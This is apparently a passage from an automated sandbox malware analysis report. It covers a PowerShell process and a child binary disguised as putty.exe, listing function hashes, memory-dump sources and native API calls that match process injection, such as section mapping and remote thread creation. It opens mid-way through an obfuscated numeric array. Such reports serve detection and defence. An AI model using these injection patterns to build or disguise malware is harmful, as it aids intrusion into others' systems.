,604,604,610,609,602,618,610,619,619,619,608,619,604,609,603,601,619,619,619,607,607,603,619,603,621,622,622,619,619,605,607,620,605,606,623,621,618,603,601,608,606,609,622,623,621,609,610,607,607,622,622,608,604,608,618,605,623,623,622,606,602,619,601,619,601,606,619,608,603,601,618,621,608,602,622,606,608,609,622,623,602,620,621,621,602,620,606,621,601,608,610,619,601,609,608,602,621,608,606,620,618,603,609,602,608,606,605,603,608,622,621,609,603,605,620,602,608,618,622,603,601,606,622,619,604,621,602,607,619,603,620,619,606,607,621,619,622,603,622,622,623,608,620,621,610,619,603,607,618,609,601,618,603,607,602,610,606,620,606,618,605,603,602,603,620,604,610,602,619,622,607,623,618,609,605,608,602,619,604,603,622,602,623,622,620,620,602,618,609,618,619,604,610,606,602,601,621,620,608,607,610,621,623,623,603,610,609,620,618,623,610,610,605,623,621,602,602,606,618,620,607,621,610,604,606,606,608,621,601,620,603,618,621,620,603,602,619,622,618,609,605,610,621,610,601,602,619,606,607,603,620,604,610,605,623,604,608,607,602,610,608,601,606,603,606,610,601,619,618,601,606,603,607,608,622,604,602,622,610,623,608,618,608,604,608,608,605,601,608,601,607,620,601,608,623,622,619,602,618,610,610,606,601,609,619,605,621,618,619,603,610,604,602,604,622,610,607,605,602,606,601,606,609,620,609,606,623,603,609,609,603,608,610,601,601,621,609,601,622,606,621,602,605,606,619,607,605,620,621,601,603,623,620,621,606,602,620,608,609,609,601,609,606,603,622,602,620,605,621,623,619,623,609,610,602,621,620,606,605,609,603,618,608,619,604,608,622,606,619,621,609,620,609,602,620,603,621,623,620,610,623,620,621,605,610,618,622,608,621,608,601,606,606,623,620,618,610,618,606,608,603,603,609,608,607,603,601,608,604,621,609,601,618,619,608,602,618,608,618,610,610,622,609,622,603,602,618,609,619,622,609,619,608,619,607,607,620,601,601,618,610,621,602,602,610,603,618,609,601,602,618,603,621,601,603,607,621,604,621,608,621,606,620,603,603,605,607,608,610,605,610,619,605,606,606,606,621,610,604,608,601,618,618,605,601,619,605,623,618,610,618,604,618,603,619,618,606,605,623,605,621,620,609,620,622,623,609,603,608,610,606,606,619,618,606,601,601,618,602,623,606,606,605,608,622,620,608,601,620,619,619,609,623,609,619,601,622,621,607,609,623,620,623,604,605,601,603,623,608,622,608,605,618,622,601,618,602,610,602,603,618,607,610,601,604,603,603,603,621,619,610,619,619,606,619,618,601,608,618,620,603,620,620,609,607,606,619,605,608,608,601,619,623,622,619,603,618,622,602,610,603,610,621,621,618,610,622,607,623,603,619,602,609,610,604,605,620,609,608,610,601,621,619,620,603,618,603,601,622,603,607,602,608,620,605,602,601,605,604,605,619,620,603,602,619,620,606,622,620,603,623,618,620,622,621,603,603,608,610,610,618,604,610,620,622,621,622,609,618,602,607,620,601,605,601,621,618,610,605,606,618,620,609,604,619,603,602,618,605,60") ➔ 0

Reset < >

Analysis Process: powershell.exePID: 2828, Parent PID: 1548COMMON

Executed Functions

Function 00007FFD34573B5D Relevance: .8, Instructions: 842COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2323346228.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd34570000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c20e4961ef7866000796d30a613a1c5c987daa367338d845cd79650f55074c3
Instruction ID: 6604e733de7e781c6db06c1c1a4752cc0d9371d8a40f8f3c4361225643f1dbef
Opcode Fuzzy Hash: 1c20e4961ef7866000796d30a613a1c5c987daa367338d845cd79650f55074c3
Instruction Fuzzy Hash: 19321322F0EA8A1FE7A696284CB51B57FE1EF97260B0841FBD18DC7193DD1DA806D341

Function 00007FFD344A6ED3 Relevance: .7, Instructions: 704COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2322729287.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd344a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baae9573a013fef5f22f8f26d9371be54b742bbbeffc4aecbb2c7999bae3bd93
Instruction ID: e73a43e8e96e5c22a6032a393fd270bf571035acb1bc09840413f462ff6d2c98
Opcode Fuzzy Hash: baae9573a013fef5f22f8f26d9371be54b742bbbeffc4aecbb2c7999bae3bd93
Instruction Fuzzy Hash: D9222831B0DA898FEB95DB1CC4A5AE97BE1FF56310F0501BAD449C7296DE68EC42C780

Function 00007FFD344A6785 Relevance: .4, Instructions: 440COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2322729287.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd344a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d24884a382cc88bb467834cfd0b47f70fe3376051757fcf6ded0c8eb9ea9e2
Instruction ID: 5f148f1f22df83219da39063889213e3004185f89eb9f16e4b889e9dd881d226
Opcode Fuzzy Hash: b6d24884a382cc88bb467834cfd0b47f70fe3376051757fcf6ded0c8eb9ea9e2
Instruction Fuzzy Hash: 4EE1C330A09A4D8FDF94DF5CC4A5AA97BE1FF69300F15417AD449D72A6CA78EC42CB80

Function 00007FFD34573C2A Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2323346228.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd34570000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1c145329cf2bf7e9839b725a851bf5db1247f9a0d4e08b75ccc2dfc0ce08935
Instruction ID: 386adf84f279776f8aec7fbba92c0c16aea957ada35621e8c21b4345505cf5bd
Opcode Fuzzy Hash: d1c145329cf2bf7e9839b725a851bf5db1247f9a0d4e08b75ccc2dfc0ce08935
Instruction Fuzzy Hash: 5A41E753F1ED871BF7AA96180CF52B49EC2EFA6260B484179D51DC31D3DD1DA8119241

Function 00007FFD344A7063 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2322729287.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd344a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7796d65aa3bf4613b23290ef6293142732572d6bda23617110df929cb1d5f5e7
Instruction ID: 109ad1e39dc43d771a6a5ae735c11a9b8f3fb285085a884c1804ef764f78cb7c
Opcode Fuzzy Hash: 7796d65aa3bf4613b23290ef6293142732572d6bda23617110df929cb1d5f5e7
Instruction Fuzzy Hash: 4831257160DB494FDB99DB1CC8A597177E0FBAA311B1000BED48AC72A7DA66FC42C781

Function 00007FFD34573FC7 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2323346228.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd34570000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85bb13f7a7122a34d9f1e96779d1f5e9c8fb1484766740e47fbbe8033f6fbc08
Instruction ID: c4fb63be23b2edd9e09ed60b963389892c4fb165ac89c859bbd5888f7dda0d3c
Opcode Fuzzy Hash: 85bb13f7a7122a34d9f1e96779d1f5e9c8fb1484766740e47fbbe8033f6fbc08
Instruction Fuzzy Hash: AF119B23F1D9060BF3AA960C2CF25B82BC1EF87222B4941B9D58ECB5D3DD0D3C016281

Function 00007FFD344A3A05 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2322729287.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd344a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: d10c0d98a8bb69a84994f8b18649b97ee2256e65bd5a23d3fb7e6d2da59779e1
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: 9C01677121CB0C4FD744EF0CE451AA5B7E0FB99364F10056DE58AC3665D636E881CB45

Function 00007FFD344A7169 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2322729287.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd344a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec2f5854ae90d4ee4ad214c87ddb5649ebe02192be0437906ade795ca74371bb
Instruction ID: d276d1dcc572c956604888f1a88e26e8d4c2d0ce8244a90e88ef5d337df2cbc3
Opcode Fuzzy Hash: ec2f5854ae90d4ee4ad214c87ddb5649ebe02192be0437906ade795ca74371bb
Instruction Fuzzy Hash: D5F06C3275C6044FDB5CAA1CF4529B573D0EB95321B10017FF58BC2697E927E442C685

Function 00007FFD345704D8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2323346228.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd34570000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6112c2645c419048d41e77af142d04c65958a3001f08ea65abe4fd0f2944629b
Instruction ID: eeb3c1a6618a79afa04e15f7298a47eda38ef21beb8d782c60f41e5915e0c591
Opcode Fuzzy Hash: 6112c2645c419048d41e77af142d04c65958a3001f08ea65abe4fd0f2944629b
Instruction Fuzzy Hash: 7AE0D833F0D9290FEBA6A69C28A82F867C1EF55A257080177D90CD3141DC04EC105391

Non-executed Functions

Function 00007FFD344A609D Relevance: 1.9, Strings: 1, Instructions: 631COMMON

Download Yara Rule

Strings

M_^, xrefs: 00007FFD344A6401

Memory Dump Source

Source File: 00000002.00000002.2322729287.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd344a0000_powershell.jbxd

Similarity

API ID:
String ID: M_^
API String ID: 0-3807191693
Opcode ID: 0c559f1183a894bcc4c5ad5bc6db42dc4377e980345e70b28dbd3e568c0b5979
Instruction ID: 539f7a149e75544d1047e1aef9bcfe83349a5ed48f65cf27acef95bf8d286108
Opcode Fuzzy Hash: 0c559f1183a894bcc4c5ad5bc6db42dc4377e980345e70b28dbd3e568c0b5979
Instruction Fuzzy Hash: B102B347B0F6D65EE792562C68F60E93FD0DFA366570E01F7C6C4CA0A7AD4C2807A251

Function 00007FFD344A4A45 Relevance: 1.6, Strings: 1, Instructions: 332COMMON

Download Yara Rule

Strings

^, xrefs: 00007FFD344A4CC2

Memory Dump Source

Source File: 00000002.00000002.2322729287.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd344a0000_powershell.jbxd

Similarity

API ID:
String ID: ^
API String ID: 0-1590793086
Opcode ID: 874fb6e50255460c8d4dc2e8cb271006f828ef59cc255e555c65ec094c2519ce
Instruction ID: 9c02f7da073939d7cfad8c5af9566e6c6fa60fdad292bcdaa7b5fa2309ed6a61
Opcode Fuzzy Hash: 874fb6e50255460c8d4dc2e8cb271006f828ef59cc255e555c65ec094c2519ce
Instruction Fuzzy Hash: 23A1C457B0F7CA1AE793563C6CB51E97FA0DF9322670A02F7C2C4DA097AD4D140B9262

Function 00007FFD34570FB6 Relevance: .6, Instructions: 570COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2323346228.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd34570000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 799f2ff3483f56a0dc363c2a506699e958038a25cae74f8bb9ad710804815ed7
Instruction ID: 4cb460353462b0c5143ea54e608423fcc26542ef1a750cc7df533c8dee676b88
Opcode Fuzzy Hash: 799f2ff3483f56a0dc363c2a506699e958038a25cae74f8bb9ad710804815ed7
Instruction Fuzzy Hash: B9021932F0DB8A4FD796DB2888A55B43FE1EF96310B0841BFD54DCB293DA29A845D341

Function 00007FFD344A6CFA Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2322729287.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd344a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b503a3f4eb3bceb213e9b8605736ce316568c8d36fa8b2fe00f597cfd352814e
Instruction ID: cba13eda36b099792ff239f1c594a3e0ab1f5bbe6bbbecaeca0efaa6d588874f
Opcode Fuzzy Hash: b503a3f4eb3bceb213e9b8605736ce316568c8d36fa8b2fe00f597cfd352814e
Instruction Fuzzy Hash: F251A697B0E6D65BF363522CA8B20EA3BD4DE9327530A42F3C6C4C50A7ED5D18079251

Function 00007FFD344A84CD Relevance: 6.6, Strings: 5, Instructions: 321COMMON

Download Yara Rule

Strings

M_^M, xrefs: 00007FFD344A876A
M_^F, xrefs: 00007FFD344A8762
M_^, xrefs: 00007FFD344A856A
M_^T, xrefs: 00007FFD344A8772
M_^, xrefs: 00007FFD344A855A

Memory Dump Source

Source File: 00000002.00000002.2322729287.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd344a0000_powershell.jbxd

Similarity

API ID:
String ID: M_^$M_^$M_^F$M_^M$M_^T
API String ID: 0-736635541
Opcode ID: 9c4b30589024abdeb1c28f17319cf60d719156bd839baea9d54b93c9e798fa12
Instruction ID: 1cab07be44724880f207262d03722cf2f976b7b3ea402edbc1ac5885abbc490d
Opcode Fuzzy Hash: 9c4b30589024abdeb1c28f17319cf60d719156bd839baea9d54b93c9e798fa12
Instruction Fuzzy Hash: D8513623A0E3965FD31277B868B52E97BA4DF4236474A02F7C588CB0D3FD2C68458391

Analysis Process: putty.exePID: 6068, Parent PID: 2828COMMON

Execution Graph

Execution Coverage:	4.3%
Dynamic/Decrypted Code Coverage:	96.9%
Signature Coverage:	58.5%
Total number of Nodes:	65
Total number of Limit Nodes:	3

Executed Functions

Function 004013BF Relevance: 10.8, APIs: 7, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2335206448.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1a6a853dab4f549cc320576fe09db09b07e35a282cbb1e4dab32455e86f95e0
Instruction ID: b303ee40ce3cd715bffe5459f1355022e0f5cf8d3c2eb96fe6471530370b2b0e
Opcode Fuzzy Hash: f1a6a853dab4f549cc320576fe09db09b07e35a282cbb1e4dab32455e86f95e0
Instruction Fuzzy Hash: 3BA10872A04204FBEB219F91CC45EEB7BB8EF81710F24452BF902BA1F1D6749902DB65

Function 004014B5 Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015C3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015E1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401622
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401653
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401675

Memory Dump Source

Source File: 00000005.00000002.2335206448.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_putty.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 719849d05dd569a84f102b076dd352e16165c28b1771b30273656c5f16ef7e6e
Instruction ID: 19a1d6b0ff796e10bf8f41dee95350edbff68fa9ff5f9bfea876b5d94b6971b3
Opcode Fuzzy Hash: 719849d05dd569a84f102b076dd352e16165c28b1771b30273656c5f16ef7e6e
Instruction Fuzzy Hash: C9513BB1900245BFEB209F91CC48FAB7BB8FF85B10F14412AFA11BA2E5D6759941CB64

Function 004014D3 Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015C3

Memory Dump Source

Source File: 00000005.00000002.2335206448.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_putty.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: b37d7a3f5bcaad5f7e116b16f8babae0ae157dca3b6d02a9ae2d42698eee0e78
Instruction ID: 8103355e2e942ff69e8c14b284ac6daeef9955d1bae1450e847efa7766c746d9
Opcode Fuzzy Hash: b37d7a3f5bcaad5f7e116b16f8babae0ae157dca3b6d02a9ae2d42698eee0e78
Instruction Fuzzy Hash: 245127B1900245BBEF209F91CC48FABBBB8EF86B00F144159FA11BA2A5D6719941CB24

Function 004014F7 Relevance: 10.7, APIs: 7, Instructions: 161
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015C3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015E1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401622
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401653
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401675

Memory Dump Source

Source File: 00000005.00000002.2335206448.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_putty.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: f4d7e0ef1ba092f52e3f3aa053b09444c5da80675db222bfe35b70c903d8b2e5
Instruction ID: 2227e086d9928dda04f460d80950503c889386f6503bf0ca9f5f85cfbacfc3af
Opcode Fuzzy Hash: f4d7e0ef1ba092f52e3f3aa053b09444c5da80675db222bfe35b70c903d8b2e5
Instruction Fuzzy Hash: 8B5107B1900249BFEF209F91CC48FAFBBB8EF85B10F144159FA11BA2A5D6719945CB24

Function 00402F8F Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 004030B7
NtTerminateProcess.NTDLL ref: 004030C8

Memory Dump Source

Source File: 00000005.00000002.2335206448.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_putty.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 3666794f6f76943507f515948c416729d2a122008cd61b3dc3cfc1699990bb7a
Instruction ID: aa2530698c6aa4494656ae1f9c01ee64b6dc24c6198c14284b052c109098bfb9
Opcode Fuzzy Hash: 3666794f6f76943507f515948c416729d2a122008cd61b3dc3cfc1699990bb7a
Instruction Fuzzy Hash: 1F415832618E0C4FD778EE6CA88966377D5E794351B56437AE809D3388EE30DC5183C5

Function 00481DB7 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00481DDF
Module32First.KERNEL32(00000000,00000224), ref: 00481DFF

Memory Dump Source

Source File: 00000005.00000002.2335885453.0000000000470000.00000040.00001000.00020000.00000000.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_470000_putty.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 1c10663cad9ea2644673e0fdf3a8cf5d58c41bd505ab31e600e92df5f4f8aa10
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 4DF0C2311007106BD7203AB5A88CBAF72ECAF49324F10092BEA46D15D0CB78E9464764

Function 004F003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 004F024D

Strings

cess, xrefs: 004F018D
kernel32.dll, xrefs: 004F008F, 004F0095

Memory Dump Source

Source File: 00000005.00000002.2335982887.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4f0000_putty.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 83880b094ae64c264b2fc075c34aefdff4589c7d83e42e366babc69d92f96334
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 6E527A74A01229DFDB64CF58C984BA9BBB1BF09304F1480DAE50DAB352DB34AE85DF15

Function 004F0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,004F0223,?,?), ref: 004F0E19
SetErrorMode.KERNELBASE(00000000,?,?,004F0223,?,?), ref: 004F0E1E

Memory Dump Source

Source File: 00000005.00000002.2335982887.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4f0000_putty.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 0f54c85112c70c8300c1c69f5b337ed9408a1e8e4429274e0b8fc5c206ebf4b7
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 37D0123154512CB7D7002A94DC09BDE7B1CDF05B62F008411FB0DD9181C774994046E9

Function 0040C3B1 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040C3C6

Memory Dump Source

Source File: 00000005.00000002.2335316510.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_40b000_putty.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 71222e89fbad33bf90c2f892ffc061b9edb59bf11242c618400469350826e5ca
Instruction ID: 94244e611b537c2edf94d5cca879c25ed5d218993ee5c4132b7c1dd7bdc8514f
Opcode Fuzzy Hash: 71222e89fbad33bf90c2f892ffc061b9edb59bf11242c618400469350826e5ca
Instruction Fuzzy Hash: 61D05E36590349AADB009FB27C097623BDCA385396F00C436B91CC6590F675C6809A08

Function 00401891 Relevance: 1.3, APIs: 1, Instructions: 58
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000005.00000002.2335206448.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_putty.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6c70d353b433dda2f53fd46e2b53eb18a00404936ca24d3f60717acb78d32f73
Instruction ID: 625976beb622557468fde4da7c406050b614696d38d370b0d4d52ea32007e278
Opcode Fuzzy Hash: 6c70d353b433dda2f53fd46e2b53eb18a00404936ca24d3f60717acb78d32f73
Instruction Fuzzy Hash: 2C0192B260C204EBEB002991CC91EBA32299B04350F308133B603790F1D57C8753B36F

Function 004018A9 Relevance: 1.3, APIs: 1, Instructions: 53
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000005.00000002.2335206448.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_putty.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: a0416c7ea6c8b2beaa64009cd037ce3695af2c8d86f7782f0dc7d3fc67dd3c49
Instruction ID: 01e10882b1c060c9bcf7afaa20a424b8b06e3eaca9db3e31c9d827ddeb5dfa52
Opcode Fuzzy Hash: a0416c7ea6c8b2beaa64009cd037ce3695af2c8d86f7782f0dc7d3fc67dd3c49
Instruction Fuzzy Hash: 620178B260C204EBEB042A91CC91EBE2225AB08320F308133B603790F1D67C8753B72F

Function 0040189C Relevance: 1.3, APIs: 1, Instructions: 52sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000005.00000002.2335206448.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_putty.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6b9a7ba5e763362e57e967b3ef273788d2906451f38bbd38aba7de38a4ba4a16
Instruction ID: 091d8ab5f34d30388949969244c388a12b20eca364eb9837eec97541f3976fe9
Opcode Fuzzy Hash: 6b9a7ba5e763362e57e967b3ef273788d2906451f38bbd38aba7de38a4ba4a16
Instruction Fuzzy Hash: 46015AB360C244EBEB016A90C8A1EAA37659B48310F308577B643790F1D67C8753A72F

Function 004018B1 Relevance: 1.3, APIs: 1, Instructions: 52sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

